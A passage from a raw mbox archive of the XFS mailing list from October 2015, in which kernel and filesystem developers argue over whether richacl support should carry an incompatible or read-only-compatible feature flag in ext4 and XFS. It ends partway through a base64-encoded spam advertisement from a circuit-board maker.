on the > theory that read-only mounts are much more often used for system > administration. But it might be using a mount option is a better way > to go here. I asked this same question on the kernel side of things. While I think that from an "on-disk consistency" POV using RO_INCOMPAT would be fine, from a user visible POV the behaviour won't be compatible and so INCOMPAT makes sense from that perspective. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sat Oct 17 18:04:44 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BF3F77F52 for ; Sat, 17 Oct 2015 18:04:44 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9D2D88F8040 for ; Sat, 17 Oct 2015 16:04:41 -0700 (PDT) X-ASG-Debug-ID: 1445123078-04cb6c3ceb6a670001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 2aHCsModGu6UdJw3 for ; Sat, 17 Oct 2015 16:04:39 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2BxBwDK0iJWPCSkLHleKAGDDVRvjQ2cAgaLIosmIYV1AgQCAoEeTQEBAQEBAQcBAQEBQT+ELQEBAQMBOhwjBQsIAw4KCSUPBSUDBxoTiCgHDsMGAQEIAiEZhheFRYJugh8HhC4FliOFGYd8gWCEPJYEhHoqNAGFZgEBAQ Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail06.adl6.internode.on.net with ESMTP; 18 Oct 2015 09:32:25 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZnaUa-0005Yv-Vg; Sun, 18 Oct 2015 10:02:25 +1100 Date: Sun, 18 Oct 2015 10:02:24 +1100 From: Dave Chinner To: Andreas Gruenbacher Cc: xfs@oss.sgi.com Subject: Re: xfsprogs-dev: Richacl support Message-ID: <20151017230224.GU27164@dastard> X-ASG-Orig-Subj: Re: xfsprogs-dev: Richacl support References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1445123079 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23586 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Oct 16, 2015 at 05:44:42PM +0200, Andreas Gruenbacher wrote: > Hello, > > could the richacl feature flag please be added to xfsprogs so that we > won't end up with incompatible file systems? > > https://github.com/andreas-gruenbacher/xfsprogs-dev Can you post patches so we can review them in the normal manner? > Also, should this really be an incompatible feature flag? Mounting a > richacl filesystem on a kernel without richacl support would otherwise > work but it could grant unwanted access to files. You answered that question yourself here: :) http://oss.sgi.com/archives/xfs/2015-10/msg00357.html i.e. INCOMPAT is fine, becuse RO_INCOMPAT results in unpredictable and incompatible behaviour from the user perspective... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sat Oct 17 18:22:59 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CFCD37F53 for ; Sat, 17 Oct 2015 18:22:59 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A15DD304032 for ; Sat, 17 Oct 2015 16:22:56 -0700 (PDT) X-ASG-Debug-ID: 1445124173-04bdf06db19f030001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id rO90wasUNKjKu2lg for ; Sat, 17 Oct 2015 16:22:53 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2C8BwB41yJWPCSkLHleKAGDDYFDhlqiNQaLIoUdhgmGGAICAQECgRtNAQEBAQEBBwEBAQFBP4QuAQEEOhwjEAgDGAkMGQ8FDRgDBxoTiBsDEa8VjnYNhHwBAQEHAgEgGYYXhUWCUII9BwqEJAWWI4sogW2BYIdgixaDW4NvhHoqNIQngTYKAQEB Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail06.adl6.internode.on.net with ESMTP; 18 Oct 2015 09:47:59 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1Znajf-0005aS-93; Sun, 18 Oct 2015 10:17:59 +1100 Date: Sun, 18 Oct 2015 10:17:59 +1100 From: Dave Chinner To: Austin S Hemmelgarn Cc: Andreas Gruenbacher , Alexander Viro , Theodore Ts'o , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , linux-ext4 , xfs@oss.sgi.com, LKML , linux-fsdevel , Linux NFS Mailing List , linux-cifs@vger.kernel.org, Linux API , "Aneesh Kumar K.V" Subject: Re: [PATCH v11 21/48] ext4: Add richacl feature flag Message-ID: <20151017231759.GV27164@dastard> X-ASG-Orig-Subj: Re: [PATCH v11 21/48] ext4: Add richacl feature flag References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> <1445008706-15115-22-git-send-email-agruenba@redhat.com> <5621346E.5000500@gmail.com> <562141AD.60302@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <562141AD.60302@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1445124173 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC7_SA298e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23586 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 BSF_SC7_SA298e Custom Rule SA298e On Fri, Oct 16, 2015 at 02:27:57PM -0400, Austin S Hemmelgarn wrote: > On 2015-10-16 13:41, Andreas Gruenbacher wrote: > >On Fri, Oct 16, 2015 at 7:31 PM, Austin S Hemmelgarn > > wrote: > >>I would like to re-iterate, on both XFS and ext4, I _really_ think this > >>should be a ro_compat flag, and not an incompat one. If a person has the > >>ability to mount the FS (even if it's a read-only mount), then they by > >>definition have read access to the file or partition that the filesystem is > >>contained in, which means that any ACL's stored on the filesystem are > >>functionally irrelevant, > > > >It is unfortunately not safe to make such a file system accessible to > >other users, so the feature is not strictly read-only compatible. > If it's not safe WRT data integrity, then the design needs to be > reworked, as that directly implies that isn't safe for even every > day usage on a writable filesystem. This is exactly what we have *incompat feature flags for*: to protect old code that doesn't know about potentially dangerous new on-disk formats from trying to parse those formats and causing unpredictable bad things from happening. Austin, your arguments hold no weight because they are no different to the considerations for any new on-disk feature: the user needs to have both kernel and userspace support to recover filesystems that go bad. If you are using a brand new fs/kernel feature, then it is expected that you know that your DR processes take this into account. This is also why we XFS devs wait at least a year after new on-disk features are merged into XFS before we consider turning them on by default. i.e. to give distros and recovery utilities time to pick up kernels and userspace pacakges that support the new feature before the average user will encounter it.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From tytso@thunk.org Sat Oct 17 19:35:43 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A0E0A7F58 for ; Sat, 17 Oct 2015 19:35:43 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7F4BB8F8040 for ; Sat, 17 Oct 2015 17:35:40 -0700 (PDT) X-ASG-Debug-ID: 1445128536-04cb6c3ced6c1b0001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id FtgiHIGQQPYMcXcu (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Sat, 17 Oct 2015 17:35:37 -0700 (PDT) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=thunk.org; s=ef5046eb; h=In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=7cE3jQY6E87Mvj6LjAEWdLzoynfIOISuy8Hd83xlJHA=; b=aGhXJRP9XWGC7MP5S4Mlr2XWa5M7MeSJGubzsGwl5ISivsQxhsH0GJUmz1bmywkoB6rJPvg+bybcfpenR8Ui+GgykXIkcdXlOpAYRGR/QFf8xV9yyPEYYKDoOZBSjuoSZD9EuXNbHZubUc2shD2kfCpHZVnSaMBcmrFSOMaC0yM=; Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.84) (envelope-from ) id 1Znbwj-0002ya-Dw; Sun, 18 Oct 2015 00:35:33 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id 950D082CF4B; Sat, 17 Oct 2015 20:35:32 -0400 (EDT) Date: Sat, 17 Oct 2015 20:35:32 -0400 From: Theodore Ts'o To: Dave Chinner Cc: Andreas Gruenbacher , linux-ext4 , xfs@oss.sgi.com Subject: Re: e2fsprogs: Richacl support Message-ID: <20151018003532.GD2678@thunk.org> X-ASG-Orig-Subj: Re: e2fsprogs: Richacl support References: <20151016231615.GF15011@thunk.org> <20151017143951.GA2678@thunk.org> <20151017225910.GT27164@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151017225910.GT27164@dastard> User-Agent: Mutt/1.5.24 (2015-08-30) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1445128537 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23587 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Sun, Oct 18, 2015 at 09:59:10AM +1100, Dave Chinner wrote: > For XFS userspace we also need this feature bit for xfs_repair so > that it doesn't attempt to validate the on-disk ACL format is in a > valid posix ACL format. IOWs, we need an on-disk feature bit to > indicate the on-disk format of the ACL in XFS. > > Further, a user could mount the ext4 fs with "norichacl,acl" to > force the kernel to parse the rich acls as posix acls because > without a feature bit the fs does not know what format it's acls are > in on-disk. This will only end in tears for users. So at least for ext4, the richacl xattr using a completely different index, and so it's not possible to interpret the richacl as an acl. The only question is whether we pay attention to the richacl acl's at all. One thing that's not clear to me is what VFS is supposed to do if an inode has both an Posix ACL xattr and a Richacl xattr at the same time. We're also not trying to validate the on-disk ACL format at all using e2fsck, just as we're not trying to validate say, the SELinux xattr. They are just bags of bits as far as e2fsck is concerned. So for that reason, at least as the patches I've seen for richacl for ext4, e2fsprogs doesn't actually need a file system feature bit at all. We could in theory use the 1.42 version of e2fsck against an ext4 file system with richacl, and modulo the incompat flag, there wouldn't be any problems from e2fsck point of view. What Andreas G. has said is that the only problem is if the file system is mounted read/write, and someone creates an inode on a non-richacl knowledgeable kernel, the inode would get created w/o an richacl. This might be surprising to the user if he or she was expecting richacl semantics, but that would only happen if they had say, enabled richacl's on a distribution that had full richacl support (including the richacl userspace utilities so they could set and get richacl entries), and then booted an older kernel on that distribution. This doesn't seem like _that_ likely a scenario, but I suppose it could happen. And whether you call the file system "inconsistent" really depends on your point of view. From the perspective of fsck, which for ext4 is completely, happily ignorant of richacl support, it's not inconsistent and all of the inodes are valid. > I asked this same question on the kernel side of things. While I > think that from an "on-disk consistency" POV using RO_INCOMPAT would > be fine, from a user visible POV the behaviour won't be compatible > and so INCOMPAT makes sense from that perspective. If you believe that the only real use of richacl will be primarily for supporting Samba and NFSv4 servers, then using a read-only compat feature flag isn't that terrible, and it might be helpful in the case of someone using a rescue media that hasn't been updated yet to be able to access the system --- since it seems unlikely that the user would try to launch a Samba or NFSv4 server from a rescue CD. But I different people of good will can differ with each other, and at the end of the day I don't think it makes *that* much difference unless we drop the use of the feature flag entirely. Given that systemd has infected all of the distributions, and systemd is getting more and more tightly integrated into modern kernel features w/o offerring backwards compatibility, it seems very likely to me that you wouldn't even be able to *boot* a downrev kernel on a modern distribution that has richacl support without seeing systemd or its dependencies explode into millions of tiny pleaces, so I'm not that terribly worried one way or another. :-) - Ted From nzet@eijq.com Sat Oct 17 19:42:51 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.7 required=5.0 tests=DEAR_FRIEND,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 13AEF7F59 for ; Sat, 17 Oct 2015 19:42:51 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C96DD304039 for ; Sat, 17 Oct 2015 17:42:47 -0700 (PDT) X-ASG-Debug-ID: 1445128959-04bdf06db1a0500001-NocioJ Received: from eijq.com ([121.34.167.112]) by cuda.sgi.com with ESMTP id KAru6EeTTRtHhhFW for ; Sat, 17 Oct 2015 17:42:40 -0700 (PDT) X-Barracuda-Envelope-From: nzet@eijq.com X-Barracuda-Apparent-Source-IP: 121.34.167.112 Received: from WRGHO-410261453 ([127.0.0.1]) by localhost via TCP with ESMTPA; Sun, 18 Oct 2015 08:43:02 +0800 MIME-Version: 1.0 From: nzet Sender: nzet To: xfs@oss.sgi.com Reply-To: nzet Date: 18 Oct 2015 08:43:02 +0800 Subject: =?utf-8?B?UmU6T24tdGltZSBhbmQgY2hlYXAgbG9naXN0aWMgc2VydmljZSBmcm9tIE1LVHBiYyBzdXBwbGllcg==?= Content-Type: multipart/mixed; boundary=--boundary_9282_55a0f34d-df10-45c2-9690-0f4a10ea47d5 X-ASG-Orig-Subj: =?utf-8?B?UmU6T24tdGltZSBhbmQgY2hlYXAgbG9naXN0aWMgc2VydmljZSBmcm9tIE1LVHBiYyBzdXBwbGllcg==?= X-Barracuda-Connect: UNKNOWN[121.34.167.112] X-Barracuda-Start-Time: 1445128959 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.74 X-Barracuda-Spam-Status: No, SCORE=1.74 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, DEAR_FRIEND, HTML_MESSAGE, MAILTO_TO_SPAM_ADDR, MISSING_MID, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23587 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 1.00 DEAR_FRIEND BODY: Dear Friend? That's not very dear! 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Message-Id: <20151018004247.501E0A420A4@cuda.sgi.com> ----boundary_9282_55a0f34d-df10-45c2-9690-0f4a10ea47d5 Content-Type: multipart/alternative; boundary=--boundary_9281_6a989ac8-1838-4b56-8604-486d995ce044 ----boundary_9281_6a989ac8-1838-4b56-8604-486d995ce044 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: base64 RGVhciBGcmllbmQsDQombmJzcDsNCk1LVCZuYnNwO2lzJm5ic3A7YSZuYnNwO3Byb2Zlc3Np b25hbCZuYnNwO1BDQiZuYnNwO2FuZCZuYnNwO1BDQiZuYnNwO0Fzc2VtYmx5Jm5ic3A7bWFu dWZhY3R1cmVyLHdoaWNoJm5ic3A7c3BlY2lhbGl6aW5nJm5ic3A7aW4mbmJzcDtwcm90b3R5 cGUmbmJzcDthbmQmbmJzcDttZWRpdW0mbmJzcDt2b2x1bWUmbmJzcDsNCiZuYnNwOw0KdHVy bm92ZXImbmJzcDt3aXRoJm5ic3A7ZmFzdC10dXJuJm5ic3A7bGVhZCZuYnNwO3RpbWUuJm5i c3A7DQombmJzcDsNCkFkdmFudGFnZXM6DQombmJzcDsNCiZuYnNwOyZuYnNwOyAxLkhpZ2gm bmJzcDtxdWFsaXR5Jm5ic3A7KGNvbXBsYWludCZuYnNwO3JhdGUmbmJzcDtsZXNzJm5ic3A7 dGhhbiZuYnNwOzEtMiUmbmJzcDspJm5ic3A7DQombmJzcDsmbmJzcDsmbmJzcDsyLkNvbXBl dGl0aXZlJm5ic3A7cHJpY2UmbmJzcDthbmQmbmJzcDtwdXJjaGFzZSZuYnNwO29mJm5ic3A7 dGhlJm5ic3A7Y29tcG9uZW50cyhXZSdkJm5ic3A7bGlrZSZuYnNwO3RvJm5ic3A7c2F2ZSZu YnNwOzEwJSZuYnNwO29ybW9yZSZuYnNwO2Nvc3QmbmJzcDtmb3ImbmJzcDt5b3UpJm5ic3A7 DQombmJzcDsmbmJzcDsmbmJzcDszLlF1aWNrJm5ic3A7ZGVsaXZlcnkmbmJzcDt0aW1lJm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7MiZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwO2xheWVyOiZuYnNwOzI0aG91cnMmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs0Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 bGF5ZXI6Jm5ic3A7NDhob3VycyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KJm5i c3A7ICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyA2Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7bGF5ZXI6Jm5ic3A7OCZuYnNwO2RheWVycyZuYnNwOyZuYnNwOyZuYnNwOzQuUHJv ZHVjdGlvbiZuYnNwO2NhcGFjaXR5OiZuYnNwO21vbnRobHkmbmJzcDt5aWVsZDombmJzcDsy NTAwMOOOoSZuYnNwOzsNCiZuYnNwOyZuYnNwOyZuYnNwOzUuIE9uLXRpbWUmbmJzcDthbmQm bmJzcDtjaGVhcCZuYnNwO2xvZ2lzdGljJm5ic3A7c2VydmljZSZuYnNwOw0KSWYgeW91IGhh dmUgYW55IGlucXVpcnksIHBsZWFzZSBmZWVsIGZyZWUgdG8mbmJzcDtlLW1haWwgb3Igc2t5 cGUoIGxpbmRhbGl1bWt0cGNiKSBtZS4gDQombmJzcDsNCldlbGNvbWUgdG8gdmlzaXQgb3Vy IHdlYnNpdGU6IHd3dy5ta3RwY2IuY29tDQombmJzcDsNCiZuYnNwO1RLUyZuYnNwOyZhbXA7 Jm5ic3A7Qi5SR0RTLiZuYnNwO0xpbmRhJm5ic3A7TGl1LVNhbGVzJm5ic3A7JmFtcDsmbmJz cDtDdXN0b21lciZuYnNwO1NlcnZpY2UmbmJzcDtNYW5hZ2VyDQpNS1QmbmJzcDtFbGVjdHJv bmljJm5ic3A7Q28uJm5ic3A7THRkDQpDb250YWN0OkxpbmRhIExpdQ0KTEFOOiZuYnNwOzg2 LTA3NTUtMjczNDczODUNCkNlbGw6Jm5ic3A7ODYtMTg4OTg4MzkxNDgNClNreXBlOiZuYnNw O2xpbmRhbGl1bWt0cGNiDQpXZWI6d3d3Lm1rdHBjYi5jb20NCnNhbGVzMDNAbWt0cGNiLmNu DQpsaW5kYUBta3RwY2IuY29tIA0KJm5ic3A7DQombmJzcDs= ----boundary_9281_6a989ac8-1838-4b56-8604-486d995ce044 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: base64 PFAgY2xhc3M9TXNvTm9ybWFsIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0Ij48U1BBTiBs YW5nPUVOLVVTIHN0eWxlPSJGT05ULVNJWkU6IDEwcHQ7IEZPTlQtRkFNSUxZOiBWZXJkYW5h OyBDT0xPUjogIzQwMzE1MiI+RGVhciBGcmllbmQsPC9TUEFOPjwvUD4NCjxQIGNsYXNzPU1z b05vcm1hbCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCI+PFNQQU4gbGFuZz1FTi1VUyBz dHlsZT0iRk9OVC1TSVpFOiAxMHB0OyBGT05ULUZBTUlMWTogVmVyZGFuYTsgQ09MT1I6ICM0 MDMxNTIiPjw/eG1sOm5hbWVzcGFjZSBwcmVmaXggPSAibyIgbnMgPSAidXJuOnNjaGVtYXMt bWljcm9zb2Z0LWNvbTpvZmZpY2U6b2ZmaWNlIiAvPjxvOnA+PC9vOnA+PC9TUEFOPiZuYnNw OzwvUD4NCjxQIGNsYXNzPU1zb05vcm1hbCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCI+ PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0iRk9OVC1TSVpFOiAxMHB0OyBGT05ULUZBTUlMWTog VmVyZGFuYTsgQ09MT1I6ICM0MDMxNTIiPk1LVCZuYnNwO2lzJm5ic3A7YSZuYnNwO3Byb2Zl c3Npb25hbCZuYnNwO1BDQiZuYnNwO2FuZCZuYnNwOzxBIGhyZWY9Imh0dHA6Ly93d3cubWt0 cGNiLmNvbS9wcm9kdWN0cy9QQ0JBLyI+UENCJm5ic3A7QXNzZW1ibHkmbmJzcDttYW51ZmFj dHVyZXI8L0E+LHdoaWNoJm5ic3A7c3BlY2lhbGl6aW5nJm5ic3A7aW4mbmJzcDtwcm90b3R5 cGUmbmJzcDthbmQmbmJzcDttZWRpdW0mbmJzcDt2b2x1bWUmbmJzcDs8L1NQQU4+PC9QPg0K PFAgY2xhc3M9TXNvTm9ybWFsIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0Ij48U1BBTiBs YW5nPUVOLVVTIHN0eWxlPSJGT05ULVNJWkU6IDEwcHQ7IEZPTlQtRkFNSUxZOiBWZXJkYW5h OyBDT0xPUjogIzQwMzE1MiI+PC9TUEFOPiZuYnNwOzwvUD4NCjxQIGNsYXNzPU1zb05vcm1h bCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCI+PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0i Rk9OVC1TSVpFOiAxMHB0OyBGT05ULUZBTUlMWTogVmVyZGFuYTsgQ09MT1I6ICM0MDMxNTIi PnR1cm5vdmVyJm5ic3A7d2l0aCZuYnNwO2Zhc3QtdHVybiZuYnNwO2xlYWQmbmJzcDt0aW1l LiZuYnNwOzwvU1BBTj48L1A+DQo8UCBjbGFzcz1Nc29Ob3JtYWwgc3R5bGU9Ik1BUkdJTjog MGNtIDBjbSAwcHQiPjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9IkZPTlQtU0laRTogMTBwdDsg Rk9OVC1GQU1JTFk6IFZlcmRhbmE7IENPTE9SOiAjNDAzMTUyIj48bzpwPjwvbzpwPjwvU1BB Tj4mbmJzcDs8L1A+DQo8UCBjbGFzcz1Nc29Ob3JtYWwgc3R5bGU9Ik1BUkdJTjogMGNtIDBj bSAwcHQiPjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9IkZPTlQtU0laRTogMTBwdDsgRk9OVC1G QU1JTFk6IFZlcmRhbmE7IENPTE9SOiAjNDAzMTUyIj5BZHZhbnRhZ2VzOjwvU1BBTj48L1A+ DQo8UCBjbGFzcz1Nc29Ob3JtYWwgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQiPjxTUEFO IGxhbmc9RU4tVVMgc3R5bGU9IkZPTlQtU0laRTogMTBwdDsgRk9OVC1GQU1JTFk6IFZlcmRh bmE7IENPTE9SOiAjNDAzMTUyIj48bzpwPjwvbzpwPjwvU1BBTj4mbmJzcDs8L1A+DQo8UCBj bGFzcz1Nc29Ob3JtYWwgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQiPjxTUEFOIGxhbmc9 RU4tVVMgc3R5bGU9IkZPTlQtU0laRTogMTBwdDsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IENP TE9SOiAjNDAzMTUyIj4mbmJzcDsmbmJzcDsgMS5IaWdoJm5ic3A7cXVhbGl0eSZuYnNwOyhj b21wbGFpbnQmbmJzcDtyYXRlJm5ic3A7bGVzcyZuYnNwO3RoYW4mbmJzcDsxLTIlJm5ic3A7 KSZuYnNwOzwvU1BBTj48L1A+DQo8UCBjbGFzcz1Nc29Ob3JtYWwgc3R5bGU9Ik1BUkdJTjog MGNtIDBjbSAwcHQiPjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9IkZPTlQtU0laRTogMTBwdDsg Rk9OVC1GQU1JTFk6IFZlcmRhbmE7IENPTE9SOiAjNDAzMTUyIj48QlI+Jm5ic3A7Jm5ic3A7 Jm5ic3A7Mi5Db21wZXRpdGl2ZSZuYnNwO3ByaWNlJm5ic3A7YW5kJm5ic3A7cHVyY2hhc2Um bmJzcDtvZiZuYnNwO3RoZSZuYnNwO2NvbXBvbmVudHMoV2UnZCZuYnNwO2xpa2UmbmJzcDt0 byZuYnNwO3NhdmUmbmJzcDsxMCUmbmJzcDtvcm1vcmUmbmJzcDtjb3N0Jm5ic3A7Zm9yJm5i c3A7eW91KSZuYnNwOzwvU1BBTj48L1A+PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0iRk9OVC1T SVpFOiAxMHB0OyBGT05ULUZBTUlMWTogVmVyZGFuYTsgQ09MT1I6ICM0MDMxNTIiPg0KPFAg Y2xhc3M9TXNvTm9ybWFsIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0Ij48QlI+Jm5ic3A7 Jm5ic3A7Jm5ic3A7My5RdWljayZuYnNwO2RlbGl2ZXJ5Jm5ic3A7dGltZTxCUj4mbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsyJm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7bGF5ZXI6Jm5ic3A7MjRob3VyczxCUj4mbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs0Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 bGF5ZXI6Jm5ic3A7NDhob3VycyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzwvUD4N CjxQIGNsYXNzPU1zb05vcm1hbCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCI+Jm5ic3A7 ICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyA2Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7bGF5ZXI6Jm5ic3A7OCZuYnNwO2RheWVyczxCUj4mbmJzcDsmbmJzcDsmbmJzcDs0LlBy b2R1Y3Rpb24mbmJzcDtjYXBhY2l0eTombmJzcDttb250aGx5Jm5ic3A7eWllbGQ6Jm5ic3A7 